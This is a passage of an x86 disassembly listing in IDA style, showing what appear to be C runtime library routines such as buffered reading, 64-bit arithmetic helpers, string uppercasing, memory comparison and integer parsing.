loc_41A07F: ; CODE XREF: sub_419FB0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41A088: ; CODE XREF: sub_419FB0+72j
; sub_419FB0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_419FB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A090 proc near ; CODE XREF: sub_404A02+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
push eax
call sub_421230
add esp, 4
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41A0D0
add esp, 10h
mov [ebp+var_4], eax
mov edx, [ebp+arg_C]
push edx
call sub_4212A0
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41A090 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A0D0 proc near ; CODE XREF: sub_41A090+20p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
imul ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jnz short loc_41A0F9
xor eax, eax
jmp loc_41A2E5
; ---------------------------------------------------------------------------
loc_41A0F9: ; CODE XREF: sub_41A0D0+20j
mov eax, [ebp+arg_C]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jz short loc_41A114
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
jmp short loc_41A11B
; ---------------------------------------------------------------------------
loc_41A114: ; CODE XREF: sub_41A0D0+37j
mov [ebp+var_1C], 1000h
loc_41A11B: ; CODE XREF: sub_41A0D0+42j
; sub_41A0D0:loc_41A2DDj
cmp [ebp+var_C], 0
jz loc_41A2E2
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jz short loc_41A1A9
mov eax, [ebp+arg_C]
cmp dword ptr [eax+4], 0
jz short loc_41A1A9
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_C]
cmp edx, [ecx+4]
jnb short loc_41A151
mov eax, [ebp+var_C]
mov [ebp+var_20], eax
jmp short loc_41A15A
; ---------------------------------------------------------------------------
loc_41A151: ; CODE XREF: sub_41A0D0+77j
mov ecx, [ebp+arg_C]
mov edx, [ecx+4]
mov [ebp+var_20], edx
loc_41A15A: ; CODE XREF: sub_41A0D0+7Fj
mov eax, [ebp+var_20]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
push ecx
call sub_418A00
add esp, 0Ch
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov [ebp+var_C], edx
mov eax, [ebp+arg_C]
mov ecx, [eax+4]
sub ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
add ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx], ecx
mov eax, [ebp+var_8]
add eax, [ebp+var_18]
mov [ebp+var_8], eax
jmp loc_41A2DD
; ---------------------------------------------------------------------------
loc_41A1A9: ; CODE XREF: sub_41A0D0+63j
; sub_41A0D0+6Cj
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_1C]
jb loc_41A27F
mov edx, [ebp+arg_C]
mov eax, [edx+0Ch]
and eax, 108h
test eax, eax
jz short loc_41A1E4
mov ecx, [ebp+arg_C]
push ecx
call sub_421580
add esp, 4
test eax, eax
jz short loc_41A1E4
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_41A2E5
; ---------------------------------------------------------------------------
loc_41A1E4: ; CODE XREF: sub_41A0D0+F2j
; sub_41A0D0+102j
cmp [ebp+var_1C], 0
jz short loc_41A1FC
mov eax, [ebp+var_C]
xor edx, edx
div [ebp+var_1C]
mov eax, [ebp+var_C]
sub eax, edx
mov [ebp+var_24], eax
jmp short loc_41A202
; ---------------------------------------------------------------------------
loc_41A1FC: ; CODE XREF: sub_41A0D0+118j
mov ecx, [ebp+var_C]
mov [ebp+var_24], ecx
loc_41A202: ; CODE XREF: sub_41A0D0+12Aj
mov edx, [ebp+var_24]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx+10h]
push eax
call sub_422370
add esp, 0Ch
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41A247
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_41A2E5
; ---------------------------------------------------------------------------
loc_41A247: ; CODE XREF: sub_41A0D0+156j
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_14]
mov [ebp+var_8], edx
mov eax, [ebp+var_14]
cmp eax, [ebp+var_18]
jnb short loc_41A27D
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41A2E5
; ---------------------------------------------------------------------------
loc_41A27D: ; CODE XREF: sub_41A0D0+18Fj
jmp short loc_41A2DD
; ---------------------------------------------------------------------------
loc_41A27F: ; CODE XREF: sub_41A0D0+DFj
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_41E810
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_41A2AA
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41A2E5
; ---------------------------------------------------------------------------
loc_41A2AA: ; CODE XREF: sub_41A0D0+1CBj
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
sub eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx+18h], 0
jle short loc_41A2D0
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_28], eax
jmp short loc_41A2D7
; ---------------------------------------------------------------------------
loc_41A2D0: ; CODE XREF: sub_41A0D0+1F3j
mov [ebp+var_28], 1
loc_41A2D7: ; CODE XREF: sub_41A0D0+1FEj
mov ecx, [ebp+var_28]
mov [ebp+var_1C], ecx
loc_41A2DD: ; CODE XREF: sub_41A0D0+D4j
; sub_41A0D0:loc_41A27Dj
jmp loc_41A11B
; ---------------------------------------------------------------------------
loc_41A2E2: ; CODE XREF: sub_41A0D0+4Fj
mov eax, [ebp+arg_8]
loc_41A2E5: ; CODE XREF: sub_41A0D0+24j
; sub_41A0D0+10Fj ...
mov esp, ebp
pop ebp
retn
sub_41A0D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41A2F0 proc near ; CODE XREF: sub_404CEF+19Ep
; sub_414F67+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41A309
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41A309: ; CODE XREF: sub_41A2F0+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41A2F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A330 proc near ; CODE XREF: sub_41B2D0+Cp
; DATA XREF: .data:off_442C38o
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_41A370
call sub_422700
mov dword_492074, eax
call sub_422680
fnclex
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41A330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A360 proc near ; DATA XREF: .data:00442C3Co
; .data:00442C40o
push ebp
mov ebp, esp
pop ebp
retn
sub_41A360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A370 proc near ; CODE XREF: sub_41A330+6p
push ebp
mov ebp, esp
mov off_443200, offset sub_422DF0
mov off_443204, offset sub_422800
mov off_443208, offset sub_422910
mov off_44320C, offset sub_422750
mov off_443210, offset sub_4228E0
mov off_443214, offset sub_422DF0
pop ebp
retn
sub_41A370 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_492070
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_492070, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3E0 proc near ; CODE XREF: sub_405593+8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call ds:dword_49437C
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_41A40B
call ds:dword_4942F0
push eax
call sub_422E80
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41A43C
; ---------------------------------------------------------------------------
loc_41A40B: ; CODE XREF: sub_41A3E0+15j
mov ecx, [ebp+var_4]
and ecx, 1
test ecx, ecx
jz short loc_41A43A
mov edx, [ebp+arg_4]
and edx, 2
test edx, edx
jz short loc_41A43A
call sub_422F20
mov dword ptr [eax], 0Dh
call sub_422F30
mov dword ptr [eax], 5
or eax, 0FFFFFFFFh
jmp short loc_41A43C
; ---------------------------------------------------------------------------
loc_41A43A: ; CODE XREF: sub_41A3E0+33j
; sub_41A3E0+3Dj
xor eax, eax
loc_41A43C: ; CODE XREF: sub_41A3E0+29j
; sub_41A3E0+58j
mov esp, ebp
pop ebp
retn
sub_41A3E0 endp
; =============== S U B R O U T I N E =======================================
sub_41A440 proc near ; CODE XREF: sub_4055AD+3Fp
; sub_415374+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41A462
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41A4A3
; ---------------------------------------------------------------------------
loc_41A462: ; CODE XREF: sub_41A440+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41A470: ; CODE XREF: sub_41A440+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41A470
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41A49E
cmp edx, [esp+8+arg_4]
ja short loc_41A49E
jb short loc_41A49F
cmp eax, [esp+8+arg_0]
jbe short loc_41A49F
loc_41A49E: ; CODE XREF: sub_41A440+4Ej
; sub_41A440+54j
dec esi
loc_41A49F: ; CODE XREF: sub_41A440+56j
; sub_41A440+5Cj
xor edx, edx
mov eax, esi
loc_41A4A3: ; CODE XREF: sub_41A440+20j
pop esi
pop ebx
retn 10h
sub_41A440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41A4B0 proc near ; CODE XREF: sub_4055AD+2Dp
; sub_415374+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41A4D1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41A521
; ---------------------------------------------------------------------------
loc_41A4D1: ; CODE XREF: sub_41A4B0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41A4DF: ; CODE XREF: sub_41A4B0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41A4DF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41A50A
cmp edx, [esp+4+arg_4]
ja short loc_41A50A
jb short loc_41A512
cmp eax, [esp+4+arg_0]
jbe short loc_41A512
loc_41A50A: ; CODE XREF: sub_41A4B0+4Aj
; sub_41A4B0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41A512: ; CODE XREF: sub_41A4B0+52j
; sub_41A4B0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41A521: ; CODE XREF: sub_41A4B0+1Fj
pop ebx
retn 10h
sub_41A4B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41A530 proc near ; CODE XREF: sub_4056BD+5Ep
; sub_4056BD+8Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41A551
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41A551: ; CODE XREF: sub_41A530+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41A56D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41A56D: ; CODE XREF: sub_41A530+27j
or eax, eax
jnz short loc_41A589
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41A5CA
; ---------------------------------------------------------------------------
loc_41A589: ; CODE XREF: sub_41A530+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41A597: ; CODE XREF: sub_41A530+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41A597
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41A5C5
cmp edx, [esp+0Ch+arg_4]
ja short loc_41A5C5
jb short loc_41A5C6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41A5C6
loc_41A5C5: ; CODE XREF: sub_41A530+85j
; sub_41A530+8Bj
dec esi
loc_41A5C6: ; CODE XREF: sub_41A530+8Dj
; sub_41A530+93j
xor edx, edx
mov eax, esi
loc_41A5CA: ; CODE XREF: sub_41A530+57j
dec edi
jnz short loc_41A5D4
neg edx
neg eax
sbb edx, 0
loc_41A5D4: ; CODE XREF: sub_41A530+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41A530 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A5E0 proc near ; CODE XREF: sub_405E58+BFp
; sub_405E58+12Cp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_8], 0
cmp dword_492170, 0
jnz short loc_41A63D
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
jmp short loc_41A607
; ---------------------------------------------------------------------------
loc_41A5FE: ; CODE XREF: sub_41A5E0:loc_41A633j
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_41A607: ; CODE XREF: sub_41A5E0+1Cj
mov edx, [ebp+var_10]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_41A635
mov ecx, [ebp+var_10]
movsx edx, byte ptr [ecx]
cmp edx, 61h
jl short loc_41A633
mov eax, [ebp+var_10]
movsx ecx, byte ptr [eax]
cmp ecx, 7Ah
jg short loc_41A633
mov edx, [ebp+var_10]
mov al, [edx]
add al, 0E0h
mov ecx, [ebp+var_10]
mov [ecx], al
loc_41A633: ; CODE XREF: sub_41A5E0+3Aj
; sub_41A5E0+45j
jmp short loc_41A5FE
; ---------------------------------------------------------------------------
loc_41A635: ; CODE XREF: sub_41A5E0+2Fj
mov eax, [ebp+arg_0]
jmp loc_41A79B
; ---------------------------------------------------------------------------
loc_41A63D: ; CODE XREF: sub_41A5E0+14j
push offset dword_49274C
call ds:dword_494418
cmp dword_492748, 0
jz short loc_41A66F
push offset dword_49274C
call ds:dword_494414
push 13h
call sub_41BC90
add esp, 4
mov [ebp+var_C], 1
jmp short loc_41A676
; ---------------------------------------------------------------------------
loc_41A66F: ; CODE XREF: sub_41A5E0+6Fj
mov [ebp+var_C], 0
loc_41A676: ; CODE XREF: sub_41A5E0+8Dj
cmp dword_492170, 0
jnz short loc_41A6E4
cmp [ebp+var_C], 0
jz short loc_41A691
push 13h
call sub_41BD30
add esp, 4
jmp short loc_41A69C
; ---------------------------------------------------------------------------
loc_41A691: ; CODE XREF: sub_41A5E0+A3j
push offset dword_49274C
call ds:dword_494414
loc_41A69C: ; CODE XREF: sub_41A5E0+AFj
mov edx, [ebp+arg_0]
mov [ebp+var_14], edx
jmp short loc_41A6AD
; ---------------------------------------------------------------------------
loc_41A6A4: ; CODE XREF: sub_41A5E0:loc_41A6DAj
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
loc_41A6AD: ; CODE XREF: sub_41A5E0+C2j
mov ecx, [ebp+var_14]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41A6DC
mov eax, [ebp+var_14]
movsx ecx, byte ptr [eax]
cmp ecx, 61h
jl short loc_41A6DA
mov edx, [ebp+var_14]
movsx eax, byte ptr [edx]
cmp eax, 7Ah
jg short loc_41A6DA
mov ecx, [ebp+var_14]
mov dl, [ecx]
add dl, 0E0h
mov eax, [ebp+var_14]
mov [eax], dl
loc_41A6DA: ; CODE XREF: sub_41A5E0+E0j
; sub_41A5E0+EBj
jmp short loc_41A6A4
; ---------------------------------------------------------------------------
loc_41A6DC: ; CODE XREF: sub_41A5E0+D5j
mov eax, [ebp+arg_0]
jmp loc_41A79B
; ---------------------------------------------------------------------------
loc_41A6E4: ; CODE XREF: sub_41A5E0+9Dj
push 1
push 0
push 0
push 0
push 0FFFFFFFFh
mov ecx, [ebp+arg_0]
push ecx
push 200h
mov edx, dword_492170
push edx
call sub_422F40
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41A711
jmp short loc_41A76D
; ---------------------------------------------------------------------------
loc_41A711: ; CODE XREF: sub_41A5E0+12Dj
push 62h
push offset aStrupr_c ; "strupr.c"
push 2
mov eax, [ebp+var_4]
push eax
call sub_416A30
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_41A731
jmp short loc_41A76D
; ---------------------------------------------------------------------------
loc_41A731: ; CODE XREF: sub_41A5E0+14Dj
push 1
push 0
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
push edx
push 0FFFFFFFFh
mov eax, [ebp+arg_0]
push eax
push 200h
mov ecx, dword_492170
push ecx
call sub_422F40
add esp, 20h
test eax, eax
jnz short loc_41A75D
jmp short loc_41A76D
; ---------------------------------------------------------------------------
loc_41A75D: ; CODE XREF: sub_41A5E0+179j
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_419FA0
add esp, 8
loc_41A76D: ; CODE XREF: sub_41A5E0+12Fj
; sub_41A5E0+14Fj ...
cmp [ebp+var_C], 0
jz short loc_41A77F
push 13h
call sub_41BD30
add esp, 4
jmp short loc_41A78A
; ---------------------------------------------------------------------------
loc_41A77F: ; CODE XREF: sub_41A5E0+191j
push offset dword_49274C
call ds:dword_494414
loc_41A78A: ; CODE XREF: sub_41A5E0+19Dj
push 2
mov ecx, [ebp+var_8]
push ecx
call sub_4174C0
add esp, 8
mov eax, [ebp+arg_0]
loc_41A79B: ; CODE XREF: sub_41A5E0+58j
; sub_41A5E0+FFj
mov esp, ebp
pop ebp
retn
sub_41A5E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41A7A0 proc near ; CODE XREF: sub_40646E+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41A7EC
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41A7ED
test eax, 1
jz short loc_41A7CD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41A81A
inc esi
inc edi
dec eax
jz short loc_41A7EA
loc_41A7CD: ; CODE XREF: sub_41A7A0+20j
; sub_41A7A0+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41A81A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41A81A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41A7CD
loc_41A7EA: ; CODE XREF: sub_41A7A0+2Bj
; sub_41A7A0+84j
pop edi
pop esi
locret_41A7EC: ; CODE XREF: sub_41A7A0+6j
retn
; ---------------------------------------------------------------------------
loc_41A7ED: ; CODE XREF: sub_41A7A0+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41A822
repe cmpsd
jz short loc_41A822
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41A815
cmp ch, dh
jnz short loc_41A815
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41A815
cmp ch, dh
loc_41A815: ; CODE XREF: sub_41A7A0+63j
; sub_41A7A0+67j ...
mov eax, 0
loc_41A81A: ; CODE XREF: sub_41A7A0+26j
; sub_41A7A0+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A822: ; CODE XREF: sub_41A7A0+55j
; sub_41A7A0+59j
test eax, eax
jz short loc_41A7EA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41A815
dec eax
jz short loc_41A849
cmp dh, ch
jnz short loc_41A815
dec eax
jz short loc_41A849
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41A815
dec eax
loc_41A849: ; CODE XREF: sub_41A7A0+8Fj
; sub_41A7A0+96j
pop edi
pop esi
retn
sub_41A7A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_41A870
add esp, 10h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A870 proc near ; CODE XREF: .text:0041A861p
; sub_41ABB0+11p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov [ebp+var_C], 0
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41A894: ; CODE XREF: sub_41A870+77j
cmp dword_442F58, 1
jle short loc_41A8B6
push 8
mov ecx, [ebp+var_8]
and ecx, 0FFh
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_18], eax
jmp short loc_41A8D0
; ---------------------------------------------------------------------------
loc_41A8B6: ; CODE XREF: sub_41A870+2Bj
mov edx, [ebp+var_8]
and edx, 0FFh
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8
mov [ebp+var_18], ecx
loc_41A8D0: ; CODE XREF: sub_41A870+44j
cmp [ebp+var_18], 0
jz short loc_41A8E9
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_41A894
; ---------------------------------------------------------------------------
loc_41A8E9: ; CODE XREF: sub_41A870+64j
movsx edx, byte ptr [ebp+var_8]
cmp edx, 2Dh
jnz short loc_41A90D
mov eax, [ebp+arg_C]
or al, 2
mov [ebp+arg_C], eax
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_41A927
; ---------------------------------------------------------------------------
loc_41A90D: ; CODE XREF: sub_41A870+80j
movsx ecx, byte ptr [ebp+var_8]
cmp ecx, 2Bh
jnz short loc_41A927
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_41A927: ; CODE XREF: sub_41A870+9Bj
; sub_41A870+A4j
cmp [ebp+arg_8], 0
jl short loc_41A939
cmp [ebp+arg_8], 1
jz short loc_41A939
cmp [ebp+arg_8], 24h
jle short loc_41A94E
loc_41A939: ; CODE XREF: sub_41A870+BBj
; sub_41A870+C1j
cmp [ebp+arg_4], 0
jz short loc_41A947
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov [edx], eax
loc_41A947: ; CODE XREF: sub_41A870+CDj
xor eax, eax
jmp loc_41AB9D
; ---------------------------------------------------------------------------
loc_41A94E: ; CODE XREF: sub_41A870+C7j
cmp [ebp+arg_8], 0
jnz short loc_41A98C
movsx ecx, byte ptr [ebp+var_8]
cmp ecx, 30h
jz short loc_41A966
mov [ebp+arg_8], 0Ah
jmp short loc_41A98C
; ---------------------------------------------------------------------------
loc_41A966: ; CODE XREF: sub_41A870+EBj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 78h
jz short loc_41A97C
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 58h
jnz short loc_41A985
loc_41A97C: ; CODE XREF: sub_41A870+FFj
mov [ebp+arg_8], 10h
jmp short loc_41A98C
; ---------------------------------------------------------------------------
loc_41A985: ; CODE XREF: sub_41A870+10Aj
mov [ebp+arg_8], 8
loc_41A98C: ; CODE XREF: sub_41A870+E2j
; sub_41A870+F4j ...
cmp [ebp+arg_8], 10h
jnz short loc_41A9CB
movsx eax, byte ptr [ebp+var_8]
cmp eax, 30h
jnz short loc_41A9CB
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 78h
jz short loc_41A9B1
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 58h
jnz short loc_41A9CB
loc_41A9B1: ; CODE XREF: sub_41A870+134j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_8], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_41A9CB: ; CODE XREF: sub_41A870+120j
; sub_41A870+129j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov [ebp+var_10], eax
loc_41A9D6: ; CODE XREF: sub_41A870+26Bj
cmp dword_442F58, 1
jle short loc_41A9F7
push 4
mov eax, [ebp+var_8]
and eax, 0FFh
push eax
call sub_41E750
add esp, 8
mov [ebp+var_1C], eax
jmp short loc_41AA12
; ---------------------------------------------------------------------------
